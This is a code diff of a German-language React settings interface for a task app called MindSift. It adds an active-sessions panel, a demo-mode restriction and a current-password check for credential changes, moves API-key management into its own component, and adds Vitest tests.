? 'Ersetzen'
|
||||
: 'Hinzufügen'}
|
||||
</button>
|
||||
)}
|
||||
{error && <p className="text-[11px] text-status-err">{error}</p>}
|
||||
</div>
|
||||
)}
|
||||
</div>
|
||||
))
|
||||
)}
|
||||
</div>
|
||||
</div>
|
||||
);
|
||||
};
|
||||
@@ -0,0 +1,110 @@
|
||||
import { useEffect, useState } from 'react';
|
||||
import { LogOut, Monitor, Smartphone } from 'lucide-react';
|
||||
import { api } from '../../lib/api';
|
||||
import { Session } from '../../lib/types';
|
||||
|
||||
// Rough device label from the user agent; good enough to tell one's own devices apart
|
||||
export function describeDevice(ua: string): { label: string; mobile: boolean } {
|
||||
if (!ua) return { label: 'Unbekanntes Gerät', mobile: false };
|
||||
if (ua.startsWith('MindSift-')) return { label: 'MindSift-Client', mobile: false };
|
||||
const mobile = /Android|iPhone|iPad|Mobile/i.test(ua);
|
||||
const browser = /Edg\//.test(ua)
|
||||
? 'Edge'
|
||||
: /Firefox\//.test(ua)
|
||||
? 'Firefox'
|
||||
: /Chrome\//.test(ua)
|
||||
? 'Chrome'
|
||||
: /Safari\//.test(ua)
|
||||
? 'Safari'
|
||||
: 'Browser';
|
||||
const os = /Android/.test(ua)
|
||||
? 'Android'
|
||||
: /iPhone|iPad/.test(ua)
|
||||
? 'iOS'
|
||||
: /Windows/.test(ua)
|
||||
? 'Windows'
|
||||
: /Mac OS X/.test(ua)
|
||||
? 'macOS'
|
||||
: /Linux/.test(ua)
|
||||
? 'Linux'
|
||||
: '';
|
||||
return { label: os ? `${browser} auf ${os}` : browser, mobile };
|
||||
}
|
||||
|
||||
function formatLastUsed(iso: string): string {
|
||||
const d = new Date(iso);
|
||||
if (isNaN(d.getTime())) return '';
|
||||
const minutes = Math.round((Date.now() - d.getTime()) / 60000);
|
||||
if (minutes < 10) return 'gerade aktiv';
|
||||
return `zuletzt ${d.toLocaleString('de-DE', { dateStyle: 'medium', timeStyle: 'short' })}`;
|
||||
}
|
||||
|
||||
export function SessionsPanel() {
|
||||
const [sessions, setSessions] = useState<Session[] | null>(null);
|
||||
const [error, setError] = useState('');
|
||||
const [ending, setEnding] = useState('');
|
||||
|
||||
const load = async () => {
|
||||
try {
|
||||
const list = await api.listSessions();
|
||||
setSessions([...list.filter((s) => s.current), ...list.filter((s) => !s.current)]);
|
||||
setError('');
|
||||
} catch (err: any) {
|
||||
setError(err.message || 'Sitzungen konnten nicht geladen werden');
|
||||
}
|
||||
};
|
||||
|
||||
useEffect(() => {
|
||||
void load();
|
||||
}, []);
|
||||
|
||||
const endSession = async (id: string) => {
|
||||
setEnding(id);
|
||||
try {
|
||||
await api.endSession(id);
|
||||
setSessions((prev) => (prev || []).filter((s) => s.id !== id));
|
||||
} catch (err: any) {
|
||||
setError(err.message || 'Sitzung konnte nicht beendet werden');
|
||||
} finally {
|
||||
setEnding('');
|
||||
}
|
||||
};
|
||||
|
||||
if (error) return <p className="text-[11px] text-status-err">{error}</p>;
|
||||
if (!sessions) return <p className="text-[11px] text-muted">Lade Sitzungen…</p>;
|
||||
|
||||
return (
|
||||
<ul className="divide-y divide-border rounded-card border border-border bg-canvas">
|
||||
{sessions.map((s) => {
|
||||
const device = describeDevice(s.userAgent);
|
||||
const Icon = device.mobile ? Smartphone : Monitor;
|
||||
return (
|
||||
<li key={s.id} className="flex items-center gap-3 p-3 text-xs">
|
||||
<Icon size={16} className="text-muted shrink-0" />
|
||||
<div className="min-w-0 flex-1">
|
||||
<p className="font-semibold text-main truncate">
|
||||
{device.label}
|
||||
{s.current && <span className="ml-2 text-[10px] font-semibold text-accent">Dieses Gerät</span>}
|
||||
</p>
|
||||
<p className="text-[11px] text-faint truncate">
|
||||
{[formatLastUsed(s.lastUsedAt), s.ip].filter(Boolean).join(' · ')}
|
||||
</p>
|
||||
</div>
|
||||
{!s.current && (
|
||||
<button
|
||||
type="button"
|
||||
onClick={() => endSession(s.id)}
|
||||
disabled={ending === s.id}
|
||||
title="Dieses Gerät abmelden"
|
||||
className="btn-secondary min-h-[44px] sm:min-h-0 h-8 px-3 text-xs shrink-0 flex items-center gap-1.5 cursor-pointer"
|
||||
>
|
||||
<LogOut size={13} />
|
||||
<span>{ending === s.id ? 'Melde ab…' : 'Abmelden'}</span>
|
||||
</button>
|
||||
)}
|
||||
</li>
|
||||
);
|
||||
})}
|
||||
</ul>
|
||||
);
|
||||
}
|
||||
@@ -3,9 +3,7 @@ import {
|
||||
User as UserIcon,
|
||||
Bell,
|
||||
Key,
|
||||
Plus,
|
||||
Trash2,
|
||||
Terminal,
|
||||
Download,
|
||||
ArrowLeft,
|
||||
Check,
|
||||
@@ -16,18 +14,22 @@ import {
|
||||
AlertCircle,
|
||||
Palette,
|
||||
Upload,
|
||||
Camera,
|
||||
Pencil,
|
||||
Copy,
|
||||
} from 'lucide-react';
|
||||
import { APIKey, AuthStatus, User, UserTheme } from '../../lib/types';
|
||||
import { AuthStatus, User, UserTheme } from '../../lib/types';
|
||||
import { ApiKeysPanel } from './ApiKeysPanel';
|
||||
import { ServerBackupsCard } from './ServerBackupsCard';
|
||||
import { saveBlob } from '../../lib/download';
|
||||
import { api, clearToken, triggerHaptic } from '../../lib/api';
|
||||
import { passwordProblem } from '../../lib/password';
|
||||
import { customThemeId, ThemeId, ThemeOption } from '../../lib/theme';
|
||||
import themeTemplateCss from '../../themes/theme-template.css?raw';
|
||||
import { UserAvatar, resizeImageToDataUrl } from '../../components/UserAvatar';
|
||||
import { LegalLinks } from '../../components/LegalLinks';
|
||||
import { AboutModal } from '../../components/AboutModal';
|
||||
import { ImportCard } from './ImportCard';
|
||||
import { SessionsPanel } from './SessionsPanel';
|
||||
import { FormSheet } from '../../components/FormSheet';
|
||||
|
||||
interface UserSettingsViewProps {
|
||||
@@ -95,8 +97,16 @@ export const UserSettingsView: React.FC<UserSettingsViewProps> = ({
|
||||
}
|
||||
};
|
||||
const [showAbout, setShowAbout] = useState(false);
|
||||
// The public demo sends nothing and keeps the shared accounts intact (FLAW-33)
|
||||
const [demoMode, setDemoMode] = useState(false);
|
||||
useEffect(() => {
|
||||
api.getAuthStatus().then((st) => setLegal(st.legal)).catch(() => {});
|
||||
api
|
||||
.getAuthStatus()
|
||||
.then((st) => {
|
||||
setLegal(st.legal);
|
||||
setDemoMode(Boolean(st.demoMode));
|
||||
})
|
||||
.catch(() => {});
|
||||
}, []);
|
||||
|
||||
// --- Custom Theme Editor State ---
|
||||
@@ -187,6 +197,7 @@ export const UserSettingsView: React.FC<UserSettingsViewProps> = ({
|
||||
const [email, setEmail] = useState(currentUser.email || '');
|
||||
const [avatarUrl, setAvatarUrl] = useState(currentUser.avatarUrl || '');
|
||||
const [newPassword, setNewPassword] = useState('');
|
||||
const [currentPassword, setCurrentPassword] = useState('');
|
||||
const [profileMsg, setProfileMsg] = useState<{ type: 'ok' | 'err'; text: string } | null>(null);
|
||||
const [savingProfile, setSavingProfile] = useState(false);
|
||||
const [revokingSessions, setRevokingSessions] = useState(false);
|
||||
@@ -207,12 +218,6 @@ export const UserSettingsView: React.FC<UserSettingsViewProps> = ({
|
||||
const [savingAlarms, setSavingAlarms] = useState(false);
|
||||
const [testingChannel, setTestingChannel] = useState<string | null>(null);
|
||||
|
||||
// --- Webhooks & API Keys State ---
|
||||
const [apiKeys, setApiKeys] = useState<APIKey[]>([]);
|
||||
const [newKeyName, setNewKeyName] = useState('');
|
||||
const [newlyCreatedKey, setNewlyCreatedKey] = useState<string | null>(null);
|
||||
const [copiedLabel, setCopiedLabel] = useState<string | null>(null);
|
||||
|
||||
useEffect(() => {
|
||||
setDisplayName(currentUser.displayName || '');
|
||||
setEmail(currentUser.email || '');
|
||||
@@ -224,19 +229,6 @@ export const UserSettingsView: React.FC<UserSettingsViewProps> = ({
|
||||
setNotifyBeforeMinutes(currentUser.notifyBeforeMinutes ?? 30);
|
||||
}, [currentUser]);
|
||||
|
||||
useEffect(() => {
|
||||
loadKeys();
|
||||
}, []);
|
||||
|
||||
const loadKeys = async () => {
|
||||
try {
|
||||
const keys = await api.getAPIKeys();
|
||||
setApiKeys(keys);
|
||||
} catch {
|
||||
// ignore
|
||||
}
|
||||
};
|
||||
|
||||
const toggleAlarmChannel = (ch: string) => {
|
||||
setAlarmChannels((prev) =>
|
||||
prev.includes(ch) ? prev.filter((item) => item !== ch) : [...prev, ch]
|
||||
@@ -271,6 +263,10 @@ export const UserSettingsView: React.FC<UserSettingsViewProps> = ({
|
||||
triggerHaptic(10);
|
||||
};
|
||||
|
||||
// Changing the password or the login address needs the current password (FLAW-30)
|
||||
const needsCurrentPassword =
|
||||
newPassword.trim() !== '' || email.trim().toLowerCase() !== (currentUser.email || '').toLowerCase();
|
||||
|
||||
// --- Handlers: Profile ---
|
||||
const handleSaveProfile = async (e: React.FormEvent) => {
|
||||
e.preventDefault();
|
||||
@@ -283,11 +279,19 @@ export const UserSettingsView: React.FC<UserSettingsViewProps> = ({
|
||||
avatarUrl: avatarUrl.trim(),
|
||||
};
|
||||
if (newPassword.trim()) {
|
||||
patch.password = newPassword.trim();
|
||||
const problem = passwordProblem(newPassword);
|
||||
if (problem) {
|
||||
setProfileMsg({ type: 'err', text: problem });
|
||||
return;
|
||||
}
|
||||
// Not trimmed: login compares the password exactly as typed
|
||||
patch.password = newPassword;
|
||||
}
|
||||
if (needsCurrentPassword) patch.currentPassword = currentPassword;
|
||||
const updated = await api.updateSettings(patch);
|
||||
onUserUpdated(updated);
|
||||
setNewPassword('');
|
||||
setCurrentPassword('');
|
||||
setProfileMsg({ type: 'ok', text: 'Profil und Anmeldedaten erfolgreich gespeichert.' });
|
||||
} catch (err: any) {
|
||||
setProfileMsg({ type: 'err', text: err.message || 'Fehler beim Speichern' });
|
||||
@@ -375,45 +379,8 @@ export const UserSettingsView: React.FC<UserSettingsViewProps> = ({
|
||||
}
|
||||
};
|
||||
|
||||
// --- Handlers: Webhooks & Export ---
|
||||
const handleCreateAPIKey = async (e: React.FormEvent) => {
|
||||
e.preventDefault();
|
||||
triggerHaptic(15);
|
||||
try {
|
||||
const created = await api.createAPIKey(newKeyName.trim() || 'Eigenes Skript / Webhook');
|
||||
if (created.rawKey) {
|
||||
setNewlyCreatedKey(created.rawKey);
|
||||
}
|
||||
setNewKeyName('');
|
||||
loadKeys();
|
||||
} catch (err: any) {
|
||||
alert(err.message);
|
||||
}
|
||||
};
|
||||
|
||||
const handleDeleteAPIKey = async (id: string) => {
|
||||
if (!window.confirm('Diesen API-Schlüssel wirklich widerrufen?')) return;
|
||||
await api.deleteAPIKey(id);
|
||||
loadKeys();
|
||||
};
|
||||
|
||||
const handleCopy = (text: string, label: string) => {
|
||||
navigator.clipboard.writeText(text);
|
||||
setCopiedLabel(label);
|
||||
setTimeout(() => setCopiedLabel(null), 2000);
|
||||
};
|
||||
|
||||
// --- Handlers: Export ---
|
||||
// Works on mobile browsers too: the link must be in the document and the URL alive until the click ran
|
||||
const saveBlob = (blob: Blob, filename: string) => {
|
||||
const url = URL.createObjectURL(blob);
|
||||
const a = document.createElement('a');
|
||||
a.href = url;
|
||||
a.download = filename;
|
||||
document.body.appendChild(a);
|
||||
a.click();
|
||||
a.remove();
|
||||
window.setTimeout(() => URL.revokeObjectURL(url), 10000);
|
||||
};
|
||||
|
||||
const [exportingBackup, setExportingBackup] = useState(false);
|
||||
const handleExportData = async () => {
|
||||
@@ -441,20 +408,6 @@ export const UserSettingsView: React.FC<UserSettingsViewProps> = ({
|
||||
}
|
||||
};
|
||||
|
||||
const baseUrl = window.location.origin;
|
||||
const activeKeyPlaceholder =
|
||||
newlyCreatedKey || (apiKeys[0]?.keyPrefix ? apiKeys[0].keyPrefix + '••••••••' : 'DEIN_API_KEY');
|
||||
|
||||
const curlTriageExample = `curl -X POST ${baseUrl}/api/v1/inbox \\
|
||||
-H "X-API-Key: ${activeKeyPlaceholder}" \\
|
||||
-H "Content-Type: application/json" \\
|
||||
-d '{"content": "Kellerfeuchtigkeit über 68% gestiegen – Entfeuchter prüfen #smarthome #alarm", "priority": "urgent"}'`;
|
||||
|
||||
const curlTaskExample = `curl -X POST ${baseUrl}/api/v1/inbox \\
|
||||
-H "X-API-Key: ${activeKeyPlaceholder}" \\
|
||||
-H "Content-Type: application/json" \\
|
||||
-d '{"content": "Server-Alarm prüfen #monitoring", "priority": "urgent", "target": "task"}'`;
|
||||
|
||||
const roleBadgeLabel =
|
||||
currentUser.role === 'admin'
|
||||
? 'Server-Admin'
|
||||
@@ -683,7 +636,9 @@ export const UserSettingsView: React.FC<UserSettingsViewProps> = ({
|
||||
value={email}
|
||||
onChange={(e) => setEmail(e.target.value)}
|
||||
required
|
||||
className="w-full h-9 px-3 input-field"
|
||||
disabled={demoMode}
|
||||
title={demoMode ? 'In der Demo deaktiviert' : undefined}
|
||||
className="w-full h-9 px-3 input-field disabled:opacity-60"
|
||||
/>
|
||||
</div>
|
||||
</div>
|
||||
@@ -696,11 +651,29 @@ export const UserSettingsView: React.FC<UserSettingsViewProps> = ({
|
||||
type="password"
|
||||
value={newPassword}
|
||||
onChange={(e) => setNewPassword(e.target.value)}
|
||||
placeholder="Mindestens 4 Zeichen"
|
||||
className="w-full h-9 px-3 input-field"
|
||||
placeholder={demoMode ? 'In der Demo deaktiviert' : 'Mindestens 8 Zeichen'}
|
||||
autoComplete="new-password"
|
||||
disabled={demoMode}
|
||||
className="w-full h-9 px-3 input-field disabled:opacity-60"
|
||||
/>
|
||||
</div>
|
||||
|
||||
{needsCurrentPassword && (
|
||||
<div>
|
||||
<label className="block text-muted font-medium mb-1">
|
||||
Aktuelles Passwort (zur Bestätigung)
|
||||
</label>
|
||||
<input
|
||||
type="password"
|
||||
value={currentPassword}
|
||||
onChange={(e) => setCurrentPassword(e.target.value)}
|
||||
required
|
||||
autoComplete="current-password"
|
||||
className="w-full h-9 px-3 input-field"
|
||||
/>
|
||||
</div>
|
||||
)}
|
||||
|
||||
<div className="pt-2 border-t border-border flex justify-end">
|
||||
<button
|
||||
type="submit"
|
||||
@@ -717,9 +690,10 @@ export const UserSettingsView: React.FC<UserSettingsViewProps> = ({
|
||||
<div>
|
||||
<h3 className="text-xs font-bold text-main">Aktive Sitzungen & Sicherheit</h3>
|
||||
<p className="text-[11px] text-muted">
|
||||
Sitzungen werden durch kryptografische JWTs geschützt. Bei einer Passwortänderung werden alle alten Sitzungen automatisch ungültig.
|
||||
Geräte, auf denen du angemeldet bist. Unbenutzte Sitzungen enden nach 30 Tagen; eine Passwortänderung meldet alle anderen Geräte ab.
|
||||
</p>
|
||||
</div>
|
||||
<SessionsPanel />
|
||||
<div className="flex flex-col sm:flex-row sm:items-center justify-between gap-3 p-3.5 rounded-card border border-border bg-canvas">
|
||||
<div className="text-xs">
|
||||
<p className="font-semibold text-main">Alle Sitzungen sofort beenden</p>
|
||||
@@ -730,8 +704,9 @@ export const UserSettingsView: React.FC<UserSettingsViewProps> = ({
|
||||
<button
|
||||
type="button"
|
||||
onClick={handleRevokeAllSessions}
|
||||
disabled={revokingSessions}
|
||||
className="btn-danger h-8 px-3 text-xs shrink-0 cursor-pointer"
|
||||
disabled={demoMode || revokingSessions}
|
||||
title={demoMode ? 'In der Demo deaktiviert' : undefined}
|
||||
className="btn-danger h-8 px-3 text-xs shrink-0 cursor-pointer disabled:opacity-40 disabled:cursor-not-allowed"
|
||||
>
|
||||
{revokingSessions ? 'Beende…' : 'Alle Sitzungen beenden'}
|
||||
</button>
|
||||
@@ -772,7 +747,8 @@ export const UserSettingsView: React.FC<UserSettingsViewProps> = ({
|
||||
<button
|
||||
type="button"
|
||||
onClick={() => openDanger('account')}
|
||||
disabled={isLastAdmin}
|
||||
disabled={isLastAdmin || demoMode}
|
||||
title={demoMode ? 'In der Demo deaktiviert' : undefined}
|
||||
className="btn-danger h-11 sm:h-8 px-3 text-xs shrink-0 disabled:opacity-40 disabled:cursor-not-allowed"
|
||||
>
|
||||
Konto löschen
|
||||
@@ -1005,6 +981,13 @@ export const UserSettingsView: React.FC<UserSettingsViewProps> = ({
|
||||
</p>
|
||||
</div>
|
||||
|
||||
{demoMode && (
|
||||
<div className="flex items-center gap-2 alert-err">
|
||||
<AlertCircle className="w-4 h-4 text-status-err flex-shrink-0" />
|
||||
<span>In der Demo deaktiviert: Alarme und Tests werden nicht verschickt.</span>
|
||||
</div>
|
||||
)}
|
||||
|
||||
{alarmMsg && (
|
||||
<div
|
||||
className={`flex items-center gap-2 ${
|
||||
@@ -1071,8 +1054,8 @@ export const UserSettingsView: React.FC<UserSettingsViewProps> = ({
|
||||
<button
|
||||
type="button"
|
||||
onClick={() => handleTestChannel('email')}
|
||||
disabled={testingChannel === 'email'}
|
||||
className="btn-action h-8 px-3 text-xs flex items-center gap-1.5 flex-shrink-0"
|
||||
disabled={demoMode || testingChannel === 'email'}
|
||||
className="btn-action h-8 px-3 text-xs flex items-center gap-1.5 flex-shrink-0 disabled:opacity-40 disabled:cursor-not-allowed"
|
||||
>
|
||||
<Send className="w-3 h-3 text-accent" />
|
||||
<span>{testingChannel === 'email' ? 'Sende…' : 'E-Mail testen'}</span>
|
||||
@@ -1120,8 +1103,8 @@ export const UserSettingsView: React.FC<UserSettingsViewProps> = ({
|
||||
<button
|
||||
type="button"
|
||||
onClick={() => handleTestChannel('discord')}
|
||||
disabled={testingChannel === 'discord'}
|
||||
className="btn-action h-8 px-3 text-xs flex items-center gap-1.5 flex-shrink-0"
|
||||
disabled={demoMode || testingChannel === 'discord'}
|
||||
className="btn-action h-8 px-3 text-xs flex items-center gap-1.5 flex-shrink-0 disabled:opacity-40 disabled:cursor-not-allowed"
|
||||
>
|
||||
<Send className="w-3 h-3 text-accent" />
|
||||
<span>{testingChannel === 'discord' ? 'Sende…' : 'Discord testen'}</span>
|
||||
@@ -1169,8 +1152,8 @@ export const UserSettingsView: React.FC<UserSettingsViewProps> = ({
|
||||
<button
|
||||
type="button"
|
||||
onClick={() => handleTestChannel('webhook')}
|
||||
disabled={testingChannel === 'webhook'}
|
||||
className="btn-action h-8 px-3 text-xs flex items-center gap-1.5 flex-shrink-0"
|
||||
disabled={demoMode || testingChannel === 'webhook'}
|
||||
className="btn-action h-8 px-3 text-xs flex items-center gap-1.5 flex-shrink-0 disabled:opacity-40 disabled:cursor-not-allowed"
|
||||
>
|
||||
<Send className="w-3 h-3 text-accent" />
|
||||
<span>{testingChannel === 'webhook' ? 'Sende…' : 'Webhook testen'}</span>
|
||||
@@ -1219,107 +1202,10 @@ export const UserSettingsView: React.FC<UserSettingsViewProps> = ({
|
||||
</p>
|
||||
</div>
|
||||
|
||||
{/* Create API Key */}
|
||||
<form onSubmit={handleCreateAPIKey} className="flex flex-col sm:flex-row gap-2">
|
||||
<input
|
||||
type="text"
|
||||
value={newKeyName}
|
||||
onChange={(e) => setNewKeyName(e.target.value)}
|
||||
placeholder="Bezeichnung des Schlüssels (z.B. Proxmox Monitoring, Discord-Forwarder)…"
|
||||
className="w-full sm:flex-1 min-w-0 h-11 sm:h-9 px-3 input-field text-base sm:text-xs"
|
||||
/>
|
||||
<button
|
||||
type="submit"
|
||||
className="btn-primary h-11 sm:h-9 px-4 text-sm sm:text-xs font-semibold flex items-center justify-center gap-1.5"
|
||||
>
|
||||
<Plus className="w-3.5 h-3.5" />
|
||||
<span>Neuen API-Key erzeugen</span>
|
||||
</button>
|
||||
</form>
|
||||
<ApiKeysPanel />
|
||||
|
||||
{newlyCreatedKey && (
|
||||
<div className="p-3 bg-accent-dim border border-accent flex flex-col sm:flex-row sm:items-center justify-between gap-2">
|
||||
<div className="min-w-0">
|
||||
<p className="text-[11px] text-accent font-bold">
|
||||
Neuer API-Schlüssel erstellt (bitte jetzt kopieren, wird nur einmal im
|
||||
Klartext angezeigt):
|
||||
</p>
|
||||
<code className="text-xs font-mono text-main break-all">{newlyCreatedKey}</code>
|
||||
</div>
|
||||
<button
|
||||
onClick={() => handleCopy(newlyCreatedKey, 'key')}
|
||||
className="btn-primary h-8 px-3 text-xs flex-shrink-0"
|
||||
>
|
||||
{copiedLabel === 'key' ? 'Kopiert!' : 'Key kopieren'}
|
||||
</button>
|
||||
</div>
|
||||
)}
|
||||
|
||||
{/* Existing Keys List */}
|
||||
<div className="border border-border divide-y divide-border bg-canvas">
|
||||
{apiKeys.length === 0 ? (
|
||||
<div className="p-4 text-center text-faint">
|
||||
Noch keine persönlichen API-Schlüssel vorhanden.
|
||||
</div>
|
||||
) : (
|
||||
apiKeys.map((k) => (
|
||||
<div key={k.id} className="p-3 flex items-center justify-between gap-3">
|
||||
<div>
|
||||
<p className="font-semibold text-main">{k.name}</p>
|
||||
<p className="text-[11px] text-faint font-mono">
|
||||
Präfix: {k.keyPrefix}•••••••• · Erstellt:{' '}
|
||||
{new Date(k.createdAt).toLocaleDateString()}
|
||||
</p>
|
||||
</div>
|
||||
<button
|
||||
onClick={() => handleDeleteAPIKey(k.id)}
|
||||
className="btn-icon btn-icon-danger"
|
||||
title="Schlüssel widerrufen"
|
||||
>
|
||||
<Trash2 className="w-3.5 h-3.5" />
|
||||
</button>
|
||||
</div>
|
||||
))
|
||||
)}
|
||||
</div>
|
||||
|
||||
{/* Curl Examples */}
|
||||
<div className="space-y-4">
|
||||
<div className="space-y-1.5">
|
||||
<div className="flex items-center justify-between">
|
||||
<span className="font-semibold text-muted flex items-center gap-1.5">
|
||||
<Terminal className="w-3.5 h-3.5 text-accent" />
|
||||
<span>Curl: In Triage-Deck einspeisen (erhält Webhook-Badge)</span>
|
||||
</span>
|
||||
<button
|
||||
onClick={() => handleCopy(curlTriageExample, 'curl-triage')}
|
||||
className="btn-action h-7 px-2.5 text-[11px]"
|
||||
>
|
||||
{copiedLabel === 'curl-triage' ? 'Kopiert!' : 'Befehl kopieren'}
|
||||
</button>
|
||||
</div>
|
||||
<pre className="p-3 code-block text-[11px] font-mono overflow-x-auto whitespace-pre">
|
||||
{curlTriageExample}
|
||||
</pre>
|
||||
</div>
|
||||
|
||||
<div className="space-y-1.5">
|
||||
<div className="flex items-center justify-between">
|
||||
<span className="font-semibold text-muted flex items-center gap-1.5">
|
||||
<Terminal className="w-3.5 h-3.5 text-accent" />
|
||||
<span>Curl: Direkt als Aufgabe anlegen</span>
|
||||
</span>
|
||||
<button
|
||||
onClick={() => handleCopy(curlTaskExample, 'curl-task')}
|
||||
className="btn-action h-7 px-2.5 text-[11px]"
|
||||
>
|
||||
{copiedLabel === 'curl-task' ? 'Kopiert!' : 'Befehl kopieren'}
|
||||
</button>
|
||||
</div>
|
||||
<pre className="p-3 code-block text-[11px] font-mono overflow-x-auto whitespace-pre">
|
||||
{curlTaskExample}
|
||||
</pre>
|
||||
</div>
|
||||
<div className="pt-4 border-t border-border">
|
||||
<ServerBackupsCard />
|
||||
</div>
|
||||
|
||||
{/* Full Data Backup */}
|
||||
|
||||
@@ -0,0 +1,41 @@
|
||||
import { describe, it, expect, vi, beforeEach } from 'vitest';
|
||||
import { render, screen, fireEvent, act } from '@testing-library/react';
|
||||
|
||||
const createAPIKey = vi.fn(async () => ({ id: 'k1', userId: 'u', name: 'HA', keyPrefix: 'mindsift_sec_ab', scopes: 'webhook:triage,webhook:list', createdAt: '' }));
|
||||
vi.mock('../../../lib/api', () => ({
|
||||
api: {
|
||||
getAPIKeys: vi.fn(async () => [
|
||||
{ id: 'k0', userId: 'u', name: 'Rauchmelder', keyPrefix: 'mindsift_sec_xy', scopes: 'webhook:triage,webhook:task', createdAt: '' },
|
||||
]),
|
||||
getAllLists: vi.fn(async () => []),
|
||||
getTaskLists: vi.fn(async () => []),
|
||||
createAPIKey: (...args: unknown[]) => createAPIKey(...(args as [])),
|
||||
deleteAPIKey: vi.fn(),
|
||||
testWebhookIngest: vi.fn(),
|
||||
},
|
||||
triggerHaptic: vi.fn(),
|
||||
}));
|
||||
|
||||
import { ApiKeysPanel } from '../ApiKeysPanel';
|
||||
|
||||
describe('ApiKeysPanel', () => {
|
||||
beforeEach(() => createAPIKey.mockClear());
|
||||
|
||||
it('shows the scopes of existing keys as badges', async () => {
|
||||
render(<ApiKeysPanel />);
|
||||
expect(await screen.findByText('Rauchmelder')).toBeTruthy();
|
||||
expect(screen.getAllByText('📋 Aufgaben').length).toBeGreaterThan(1); // chip + badge
|
||||
});
|
||||
|
||||
it('creates a key with the chosen scopes and never without one', async () => {
|
||||
render(<ApiKeysPanel />);
|
||||
const triage = screen.getByRole('checkbox', { name: /Triage/ });
|
||||
fireEvent.click(triage); // last remaining scope cannot be switched off
|
||||
expect(triage.getAttribute('aria-checked')).toBe('true');
|
||||
fireEvent.click(screen.getByRole('checkbox', { name: /Listeneinträge/ }));
|
||||
await act(async () => {
|
||||
fireEvent.click(screen.getByRole('button', { name: /API-Key erzeugen/ }));
|
||||
});
|
||||
expect(createAPIKey).toHaveBeenCalledWith('Home Assistant', ['webhook:triage', 'webhook:list']);
|
||||
});
|
||||
});
|
||||
@@ -0,0 +1,24 @@
|
||||
import { describe, expect, it } from 'vitest';
|
||||
import { describeDevice } from '../SessionsPanel';
|
||||
|
||||
describe('describeDevice', () => {
|
||||
it('names browser and system', () => {
|
||||
expect(
|
||||
describeDevice('Mozilla/5.0 (X11; Linux x86_64; rv:130.0) Gecko/20100101 Firefox/130.0')
|
||||
).toEqual({ label: 'Firefox auf Linux', mobile: false });
|
||||
expect(
|
||||
describeDevice(
|
||||
'Mozilla/5.0 (iPhone; CPU iPhone OS 17_0 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/17.0 Mobile/15E148 Safari/604.1'
|
||||
)
|
||||
).toEqual({ label: 'Safari auf iOS', mobile: true });
|
||||
expect(
|
||||
describeDevice(
|
||||
'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/130.0 Safari/537.36 Edg/130.0'
|
||||
).label
|
||||
).toBe('Edge auf Windows');
|
||||
});
|
||||
|
||||
it('falls back for empty agents', () => {
|
||||
expect(describeDevice('').label).toBe('Unbekanntes Gerät');
|
||||
});
|
||||
});
|
||||
@@ -8,7 +8,6 @@ import {
|
||||
RotateCcw,
|
||||
Check,
|
||||
Columns,
|
||||
Layers,
|
||||
} from 'lucide-react';
|
||||
import { KanbanColumn } from '../../lib/types';
|
||||
import { triggerHaptic } from '../../lib/api';
|
||||
@@ -28,15 +27,17 @@ export const DEFAULT_KANBAN_COLUMNS: KanbanColumn[] = [
|
||||
{ id: 'done', name: 'Erledigt', isDone: true, color: 'emerald' },
|
||||
];
|
||||
|
||||
export const ManageColumnsModal: React.FC<ManageColumnsModalProps> = ({
|
||||
// Wrapper and content split so the hooks always run in the same number (see TaskDetailModal)
|
||||
export const ManageColumnsModal: React.FC<ManageColumnsModalProps> = (props) =>
|
||||
props.isOpen ? <ManageColumnsModalContent {...props} /> : null;
|
||||
|
||||
const ManageColumnsModalContent: React.FC<ManageColumnsModalProps> = ({
|
||||
isOpen,
|
||||
onClose,
|
||||
initialColumns,
|
||||
onSave,
|
||||
listTitle,
|
||||
}) => {
|
||||
if (!isOpen) return null;
|
||||
|
||||
const [columns, setColumns] = useState<KanbanColumn[]>(() => {
|
||||
return initialColumns && initialColumns.length > 0 ? initialColumns : DEFAULT_KANBAN_COLUMNS;
|
||||
});
|
||||
|
||||
@@ -7,19 +7,16 @@ import {
|
||||
FileText,
|
||||
Plus,
|
||||
CheckSquare,
|
||||
Clock,
|
||||
Layers,
|
||||
Hash,
|
||||
AlertTriangle,
|
||||
Flame,
|
||||
ChevronRight,
|
||||
Folder,
|
||||
Webhook,
|
||||
Lock,
|
||||
UserPlus,
|
||||
Repeat,
|
||||
} from 'lucide-react';
|
||||
import { Thought, SubTask, TaskList, TaskListMember, KanbanColumn, User, Recurrence } from '../../lib/types';
|
||||
import { Thought, TaskList, TaskListMember, KanbanColumn, User, Recurrence } from '../../lib/types';
|
||||
import { UserAvatar } from '../../components/UserAvatar';
|
||||
import { UserAutocomplete } from '../UserAutocomplete';
|
||||
import { triggerHaptic } from '../../lib/api';
|
||||
@@ -51,9 +48,13 @@ interface TaskDetailModalProps {
|
||||
readOnly?: boolean; // Task belongs to a list shared with "viewer" permission
|
||||
}
|
||||
|
||||
export const TaskDetailModal: React.FC<TaskDetailModalProps> = ({
|
||||
// The wrapper decides whether the dialog is shown; the content holds all hooks, so their number never
|
||||
// changes between renders (hooks after an early return break React when isOpen flips)
|
||||
export const TaskDetailModal: React.FC<TaskDetailModalProps> = (props) =>
|
||||
props.isOpen && props.task ? <TaskDetailModalContent {...props} task={props.task} /> : null;
|
||||
|
||||
const TaskDetailModalContent: React.FC<TaskDetailModalProps & { task: Thought }> = ({
|
||||
task,
|
||||
isOpen,
|
||||
onClose,
|
||||
activeColumns,
|
||||
taskLists,
|
||||
@@ -75,8 +76,6 @@ export const TaskDetailModal: React.FC<TaskDetailModalProps> = ({
|
||||
onDeleteTask,
|
||||
readOnly = false,
|
||||
}) => {
|
||||
if (!isOpen || !task) return null;
|
||||
|
||||
const [titleDraft, setTitleDraft] = useState(task.content);
|
||||
const [isEditingTitle, setIsEditingTitle] = useState(false);
|
||||
|
||||
@@ -144,7 +143,7 @@ export const TaskDetailModal: React.FC<TaskDetailModalProps> = ({
|
||||
|
||||
const handleAddTagSubmit = async (e: React.FormEvent) => {
|
||||
e.preventDefault();
|
||||
let cleaned = newTagDraft.trim().replace(/^#+/, '').toLowerCase();
|
||||
const cleaned = newTagDraft.trim().replace(/^#+/, '').toLowerCase();
|
||||
if (!cleaned) return;
|
||||
const currentTags = Array.isArray(task.tags) ? [...task.tags] : [];
|
||||
if (!currentTags.includes(cleaned)) {
|
||||
@@ -177,11 +176,6 @@ export const TaskDetailModal: React.FC<TaskDetailModalProps> = ({
|
||||
